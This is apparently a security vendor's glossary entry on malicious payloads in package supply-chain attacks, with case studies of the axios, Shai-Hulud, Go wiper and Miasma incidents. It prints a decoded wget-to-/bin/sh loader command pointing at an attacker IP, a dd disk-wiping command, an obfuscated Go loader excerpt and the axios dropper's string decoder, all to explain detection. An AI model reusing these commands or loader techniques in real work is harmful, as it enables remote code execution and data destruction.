Back to glossary

Payload

In cyber security, a payload is the part of an attack that does the damage, like stealing secrets or opening a backdoor, once something else runs it.

Also known as Malicious payload, Malware payload, Exploit payload, Staged payload, Second-stage payload, Payload in cyber security

A payload, also called a malicious payload, is the part of a cyber security attack that carries out the attacker's goal: stealing credentials, opening a remote shell, wiping a disk. A separate delivery mechanism, such as an exploit or an npm postinstall script, runs it. In open source packages, the payload often is not in the published code.

The split between delivery and payload is the most useful idea for defending a dependency tree. Delivery code has to ship inside the package, because the registry is how it reaches you. The payload does not. In the axios compromise of March 2026, the malicious code npm installed was a 4,209-byte dropper. The remote access trojan it launched on macOS came from the attacker's server, and the dropper deleted itself afterwards.

Our position follows from that. Hunting for payloads means chasing artifacts that change per victim, change per hour, or never touch the registry at all. The delivery code is the stable signal: an install hook, a network fetch, a decode loop, a spawned shell. We analyze what the package code does, before install, because by the time a payload runs the outcome is already decided.

What is a payload in cyber security?

#

A payload in cyber security is the code that performs an attacker's objective once a delivery step has given it a chance to run. The word comes from networking, where a packet's payload is the data it carries and the headers are the envelope around it. Attacks have the same two layers. An exploit, a phishing attachment, or a malicious dependency is the envelope. The payload is what arrives inside it.

Exploit frameworks made the split formal. Metasploit's payload documentation separates singles, which are self-contained, from staged payloads, which arrive in two parts. In its words, "Stagers are a small stub designed to create some form of communication and then pass execution to the next stage." The stage that follows can be arbitrarily large, because the stager has already solved transport and size limits.

The same vocabulary describes package malware precisely, so we use it throughout this entry:

TermRoleExample in a package attack
TriggerThe event that first runs attacker codeAn npm postinstall hook, a Go package initializer, a date check
ExploitCode that abuses a vulnerability to gain executionRarely needed: the package manager already runs publisher code
Stager or loaderA small stub that fetches the next stageA 4 KB setup.js that POSTs to a server and runs the reply
DropperCode that writes a payload to disk and launches itThe same script writing a Python file to /tmp and starting it
Single (stageless)Delivery and payload shipped as one artifactA worm that ships its whole credential stealer in one bundle.js
PayloadThe code that does the damageA remote access trojan, a disk wiper, a credential stealer

The exploit row is why package attacks are cheap. npm, PyPI, NuGet, and Go modules exist to run code written by strangers on your machine. A malicious package does not break that trust model. It uses the model exactly as designed, so the attacker's only engineering problems are getting a trigger to fire and getting a payload to arrive.

What do malicious payloads in packages do?

#

Malicious payloads in packages mostly steal credentials, because developer laptops and CI runners hold the tokens that unlock everything downstream. Destruction, sabotage, and financial theft make up most of the rest.

The Shai-Hulud worm is the clearest credential-theft case. In the September 2025 wave that reached CrowdStrike's npm packages, its bundle.js ran TruffleHog, validated npm, GitHub, and cloud tokens, wrote a GitHub Actions workflow into the victim's repositories, and republished the victim's own packages with itself inside. Remote access was the goal in the axios case. Destruction was the goal in three Go modules that fetched a disk wiper in April 2025. Sabotage was the goal in nine NuGet packages from the alias shanhai666, which hid a roughly 20-line payload inside thousands of lines of working database code.

Two payloads were built to run beyond the developer's machine. The chalk and debug compromise in September 2025 shipped code that checked for window, then hooked fetch, XMLHttpRequest, and window.ethereum to swap cryptocurrency addresses in the browsers of people visiting affected sites. The event-stream incident in 2018 targeted a single Bitcoin wallet app, Copay, and stayed encrypted everywhere else.

ObjectiveCaseWhat the payload didWhere it ran
Credential theft and spreadShai-Hulud, Sep 2025Ran TruffleHog, validated tokens, added a GitHub Actions workflow, republished packagesDeveloper machines and CI
Remote accessaxios, Mar 2026Beaconed to its C2 every 60 seconds; accepted peinject, runscript, rundir, and kill commandsDeveloper machines and CI
DestructionGo modules prototransform, go-mcp, tlsproxy, Apr 2025Downloaded done.sh, which runs dd if=/dev/zero of=/dev/sdaLinux hosts running the program
Sabotageshanhai666 NuGet packages, published 2023 to 2024After 2027 and 2028 trigger dates, a 20% chance per database query of killing the processProduction .NET apps and PLC software
Browser theftchalk and debug, Sep 2025Rewrote wallet addresses in fetch and XHR trafficEnd users' browsers
Targeted theftevent-stream, 2018Decrypted only inside Copay's build, then harvested wallet keysOne company's app

The last column matters as much as the third. The same dependency can deliver a payload to a build machine, a production server, or a stranger's browser, and the defenses for each are different.

How does a malicious package run its payload?

#

A malicious package runs its payload when a trigger executes the package's code, and package managers supply most triggers by design. In npm, install scripts named preinstall, install, and postinstall run during npm install, according to npm's scripts documentation. A package with a binding.gyp file at its root gets an implicit install step, node-gyp rebuild, even when package.json declares no script.

Attackers use both paths. The axios dropper used postinstall. The Miasma campaign's "Phantom Gyp" waves shipped a small binding.gyp whose command expansion ran node index.js, which slipped past scanners that only read the scripts field.

Go has no install hooks at all, which is why the Go wiper modules used a different trigger. Their loader sat in a package-level variable initializer, and Go runs those initializers when any program that imports the package starts. We reproduced the shape with a harmless module:

Go
package lib

import "fmt"

// Same shape as the malicious modules: a package-level var
// whose initializer is a function call with side effects.
var _ = stage()

func stage() error {
	fmt.Println("[lib] package initializer ran: a real module would exec the decoded command here")
	return nil
}

func Parse(s string) string { return s }
Go
package main

import (
	"fmt"

	"example.com/demo/lib"
)

func main() { fmt.Println("[app] main() starts:", lib.Parse("ok")) }
Bash
$ go build -o appbin ./app      # prints nothing: building runs no package code
$ ./appbin
[lib] package initializer ran: a real module would exec the decoded command here
[app] main() starts: ok

Neither go get nor go build executes the module. The first go run, go test, or production start does, before main gets control.

North Korea's Contagious Interview operation moves the trigger later still. In an April 2026 cluster spanning npm, PyPI, Go modules, crates.io, and Packagist, the loaders sat behind ordinary methods such as Logger::trace in a logging crate and find_by_key() in a license library. Our researchers found that the threat actors "did not generally rely on install-time execution."

TriggerRuns whenCaseBlocked by install-script defaults
Lifecycle scriptnpm installaxios, Mar 2026Yes
Implicit node-gyp rebuildnpm install, with no script declaredMiasma Phantom Gyp, Jun 2026Yes
Package initializerA program or test that imports it startsGo wiper modules, Apr 2025No (not npm, and not install time)
Ordinary API callThe first call to a normal-looking functionContagious Interview, Apr 2026No
Date or probability gateAfter Aug 8, 2027 or Nov 29, 2028, on 20% of callsshanhai666 NuGet packagesNo
Environment keyOnly inside the target's own buildevent-stream, 2018No
Browser runtimeWhen end users load the bundled sitechalk and debug, Sep 2025No

Install-time controls close the first two rows, and those rows matter most today. Our analysis of npm v12 found that almost every worm and credential stealer on the registry since late 2025 ran at install time. npm v12, generally available since July 8, 2026, skips dependency install scripts and the implicit node-gyp rebuild unless you allow them. pnpm 10 made the same call in January 2025. Default-on lifecycle scripts were a design mistake, and both new defaults are correct. The other five rows are untouched by them.

Anatomy of a staged payload: the axios compromise

#

The axios compromise shows a staged payload end to end, and the payload itself was never published. Attackers pushed axios@1.14.1 and axios@0.30.4 to npm 39 minutes apart. Both releases added the same new dependency, plain-crypto-js@4.2.1, whose postinstall hook ran a dropper called setup.js. Axios had about 100 million weekly downloads at the time, so any project with a caret range like ^1.14.0 pulled the dropper on its next install that resolved versions fresh.

Published to npmin the tarball
1
registry → your machine
npm install resolves ^1.14.0 to axios@1.14.1, which adds one new dependency: plain-crypto-js@4.2.1.
2
your machine
npm runs the postinstall hook: node setup.js. This 4,209-byte stager is the only malicious file in the package.
HTTP POST to the C2 at sfrclak[.]com:8000
Served by the attacker at run timenever published
3
your machine → C2
setup.js decodes 18 hidden strings, checks os.platform(), and sends a POST body of packages.npm[.]org/product0, 1, or 2 to pick a platform.
4
C2 → your machine
The server returns the second stage for that platform:
macOSMach-O RAT at /Library/Caches/com.apple.act.mond Windows.ps1 run by a copy of PowerShell renamed wt.exe LinuxPython script at /tmp/ld.py
5
your machine
The macOS RAT fingerprints the host and beacons every 60 seconds, waiting for commands.
Cleanupevidence removed
6
your machine
setup.js deletes itself and package.json, then renames package.md to package.json. The installed directory now looks like a clean copy of crypto-js.

Figure 1. The axios compromise, March 30 to 31, 2026. npm stored the code that ran in steps 1, 2, and 6. It never stored the payload from steps 4 and 5.

Step by step, the figure shows:

  1. npm install resolves ^1.14.0 to axios@1.14.1, which depends on plain-crypto-js@4.2.1.
  2. npm runs the postinstall hook, node setup.js. The 4,209-byte setup.js is the only malicious file in the tarball.
  3. setup.js decodes 18 hidden strings, checks os.platform(), and sends an HTTP POST to the command-and-control (C2) server at sfrclak[.]com:8000. The POST body, packages.npm[.]org/product0, product1, or product2, selects macOS, Windows, or Linux and looks like registry traffic in logs. npm.org is not the npm registry.
  4. The server returns the platform's second stage: a Mach-O binary written to /Library/Caches/com.apple.act.mond on macOS, a PowerShell script run through a copy of powershell.exe renamed wt.exe on Windows, and a Python script at /tmp/ld.py on Linux.
  5. On macOS, the second stage is a C++ remote access trojan that fingerprints the host and beacons every 60 seconds.
  6. setup.js deletes itself, deletes package.json, and renames a bundled package.md to package.json. That restores the clean 4.2.0 metadata with no postinstall hook, so node_modules/plain-crypto-js looks like an ordinary copy of crypto-js.

As of November 2026, the npm registry still records the timeline but serves none of the code:

Bash
$ npm view plain-crypto-js versions description time --json
{
  "versions": [
    "0.0.1-security.0"
  ],
  "description": "security holding package",
  "time": {
    "created": "2026-03-31T04:26:32.907Z",
    "modified": "2026-03-31T04:26:35.731Z",
    "4.2.0": "2026-03-30T05:57:32.867Z",
    "4.2.1": "2026-03-30T23:59:12.278Z",
    "0.0.1-security": "2026-03-31T03:25:11.636Z",
    "0.0.1-security.0": "2026-03-31T04:26:33.055Z"
  }
}

$ npm view axios@1.14.1
npm error code E404
npm error 404 No match found for version 1.14.1

The malicious 4.2.1 went live at 23:59:12 UTC on March 30, and npm's security holding package replaced it at 03:25 UTC on March 31. Socket's automated malware detection flagged 4.2.1 at 00:05:41 UTC, six minutes after publish and 16 minutes before the first malicious axios release appeared, from the dropper alone. Nobody can download the dropper or the second stage from the registry today, and the second stage was never there to begin with. As we wrote in The Hidden Blast Radius of the Axios Compromise, the absence of evidence after the fact is not strong evidence of absence.

Staging also lets an attacker publish a loader with nothing to load yet. The April 2026 Contagious Interview cluster included npm packages we labeled "sleeper package; not yet weaponized." A sleeper package can collect downloads and trust before it carries anything harmful. That campaign had more than 1,700 linked malicious packages by April 2026.

Decoding a payload loader by hand

#

Loaders hide the address of the next stage, not the payload itself, and decoding one by hand shows how little is actually in the package. The Go wiper modules stored their command as a shuffled array of single characters and rebuilt it by index at run time, a form of code obfuscation. This excerpt is adapted from the code Socket published:

Go
pBRPhsxN := runtime.GOOS == "linux"
bcbGOM := "/bin/sh"
vpqIU := "-c"
PWcf := DmM[11] + DmM[5] + DmM[47] + DmM[32] + /* 63 more lookups */ DmM[44]
if pBRPhsxN {
	exec.Command(bcbGOM, vpqIU, PWcf).Start()
}

Copying the array and the index order into Python recovers the command without running anything:

Python
DmM = ["4", "/", " ", "e", "/", "g", "d", "3", "6", " ", "4", "w", "/", "7", "d", ".", "O", " ", "s", "b", "5", "3", "/", "c", "t", "0", "4", "c", "h", " ", "f", "a", "t", "/", "i", "/", "1", "b", "n", "p", "t", "7", "d", "-", "&", ":", "4", "e", "t", "4", "-", "d", "4", "g", "o", "d", "s", "e", "r", "7", ".", "/", "|", ".", " ", "1", "h", " "]
idx = [11, 5, 47, 32, 29, 50, 16, 2, 43, 17, 66, 24, 40, 39, 45, 12, 4, 36, 49, 13, 15, 46, 20, 63, 0, 26, 60, 52, 65, 22, 56, 48, 54, 58, 31, 53, 3, 35, 51, 57, 7, 59, 21, 14, 25, 55, 30, 33, 23, 27, 42, 41, 19, 10, 8, 6, 67, 62, 9, 1, 37, 34, 38, 61, 18, 28, 64, 44]
print("".join(DmM[i] for i in idx))
Bash
$ python3 decode.py
wget -O - http://147.45.44.41/storage/de373d0df/ccd7b46d | /bin/sh &

The module contained a URL and a pipe to /bin/sh. The script Socket retrieved from one of the modules' staging URLs, done.sh, contained the payload: dd if=/dev/zero of=/dev/sda bs=1M conv=fsync, which overwrites the primary Linux disk with zeros. None of the wiper's bytes were ever in the Go module.

The axios dropper used a stronger scheme for its 18 strings: reverse the string, base64-decode it, then XOR each character with a digit from the key OrDeR_7077 and the constant 333. The decoder below is adapted from the one Socket reconstructed. The encode function is our inverse, written to show what a scanner would actually see in the tarball:

JavaScript
const _trans_1 = (x, r) => {
  const E = r.split("").map(Number);
  return x.split("").map((c, i) =>
    String.fromCharCode(c.charCodeAt(0) ^ E[7 * i * i % 10] ^ 333)).join("");
};
const _trans_2 = (x, r) => {
  const E = x.split("").reverse().join("").replaceAll("_", "=");
  return _trans_1(Buffer.from(E, "base64").toString("utf8"), r);
};
const encode = (s, r) =>
  Buffer.from(_trans_1(s, r), "utf8").toString("base64")
    .replaceAll("=", "_").split("").reverse().join("");

for (const s of ["child_process", "/tmp/ld.py"]) {
  const enc = encode(s, "OrDeR_7077");
  console.log(JSON.stringify(enc), "->", JSON.stringify(_trans_2(enc, "OrDeR_7077")));
}
Bash
$ node xor-demo.js
"_kLx+SMqE7KxlS8vE3LxSScqEHKxjScpE7Kx" -> "child_process"
"_QLx6S8oFnKxhSsoF3LxnScuELax" -> "/tmp/ld.py"

A search for child_process across the shipped file finds nothing. The decode loop, the call that loads whatever module name it produces, and the outbound request are still there in plain sight, because they have to be.

Why payload signatures fail in package ecosystems

#

Payload signatures fail in package ecosystems because attackers can change a payload faster than defenders can hash it. Shai-Hulud's operator released seven versions of bundle.js, each with its own SHA-256, between 17:58 UTC on September 14 and 01:14 UTC on September 16, 2025:

VersionFirst seen (UTC)SHA-256 prefixChange from the previous version
v1Sep 14, 17:58de0e25a3First observed compromise
v2Sep 14, 18:3581d2a004Checks AWS credentials before reading secrets; targets Google Cloud instead of Azure
v3Sep 14, 20:2983a650ceFixes race conditions, ends scans 30 seconds sooner
v4Sep 14, 21:014b239964Republishes up to 20 packages per maintainer instead of 10
v5Sep 15, 02:11dc67467aAlways creates the exfiltration repository
v6Sep 15, 15:3546faab8aAdds a switch to skip the noisy filesystem scan
v7Sep 16, 01:14b74caeaaDrops the bare-repository trick, keeps workflow and webhook exfiltration

A blocklist built from v1 missed six of seven variants, and the worm's republishing turned each new hash into dozens or hundreds of package versions. Our compromised-package list for that wave reached 526 entries.

Miasma made the same point in a single afternoon. Its June 26, 2026 wave republished 22 @immobiliarelabs package versions, and the published IOC list gives every version's index.js a different SHA-256. The binding.gyp that triggered it was byte-identical in all 22.

binding.gyp, the trigger1 hash across 22 packages
ef64ef64ef64ef64ef64ef64ef64ef64ef64ef64ef64ef64ef64ef64ef64ef64ef64ef64ef64ef64ef64ef64
index.js, the loader and encrypted payload22 hashes across 22 packages
1e7b14258a712ffe60093b24874699eb7cd2ca89ef899d8e8df563660ccd0574cf46d2aa8e83b82f1623cf5d

Figure 2. SHA-256 prefixes for the 22 @immobiliarelabs package versions in the June 26, 2026 Miasma wave. Each cell is one package version.

In Figure 2, the top row shows binding.gyp: the same SHA-256, beginning ef641e95, in all 22 package versions. The bottom row shows index.js: 22 different SHA-256 values, one per package version, beginning 1e7b, 1425, 8a71, 2ffe, 6009, 3b24, 8746, 99eb, 7cd2, ca89, ef89, 9d8e, 8df5, 6366, 0ccd, 0574, cf46, d2aa, 8e83, b82f, 1623, and cf5d. The trigger repeated exactly. The payload never did.

Some payloads refuse to run where a defender could watch them. The event-stream payload was AES-encrypted, and the decryption key was the description of the package consuming it, which only Copay's build supplied. npm's incident report put it plainly: "the malicious code targeted developers at a company that had a very specific development environment setup." The shanhai666 database packages check the date first. A sandbox that installs one of them in 2026 sees working database code, because the earliest trigger date is August 8, 2027, and even then only 20% of queries fire.

Malware does not get a CVE in the normal course, and no advisory of any kind existed when these payloads first ran. A scanner that matches dependencies against vulnerability databases had nothing to match in any of these cases.

The constant across every case is the delivery code. A logging library that spawns a shell, an install hook that fetches a URL, a binding.gyp in a package with no native code, a decode loop over high-entropy strings: those properties have to ship in the package, and they are visible before anything runs. That is the basis of behavior-based analysis. Socket's scanners flag those properties directly, with alerts such as Install scripts, Network access, Shell access, Obfuscated code, and Environment variable access, and that is how our detection flagged plain-crypto-js@4.2.1 six minutes after publish without needing its second stage.

Capability analysis has real costs. Legitimate packages download binaries in install scripts, including Playwright, Cypress, and Electron, so "install script plus network access" is a reason to look, not a verdict. It also has blind spots. The chalk and debug payload used only browser APIs that plenty of frontend code touches, and the NuGet sabotage came down to one Process.GetCurrentProcess().Kill() call behind a date check. Catching those needs analysis of intent in context, not a capability list.

Blocking install scripts moves the trigger, not the payload

#

npm v12 and pnpm 10 remove the cheapest trigger, and attackers already have others. Contagious Interview put its loaders behind ordinary API calls. Go modules never had install time to block. The chalk and debug payload ran in end users' browsers, nowhere near an install.

Provenance does not close the gap either. Shai-Hulud and Miasma published from compromised maintainer accounts through legitimate pipelines, some with valid provenance. A signature tells you who published a stager. It cannot tell you what the stager's server will return tomorrow.

That is the open problem. A loader whose server is clean today can serve a remote access trojan next week without a new version, so the package you reviewed is not the package you run. Package managers now make install-time execution a permission you grant. Fetching and executing remote code at run time is still an ambient capability that every dependency gets for free, and until it is not, the most dangerous payloads will keep living where no registry scan can see them.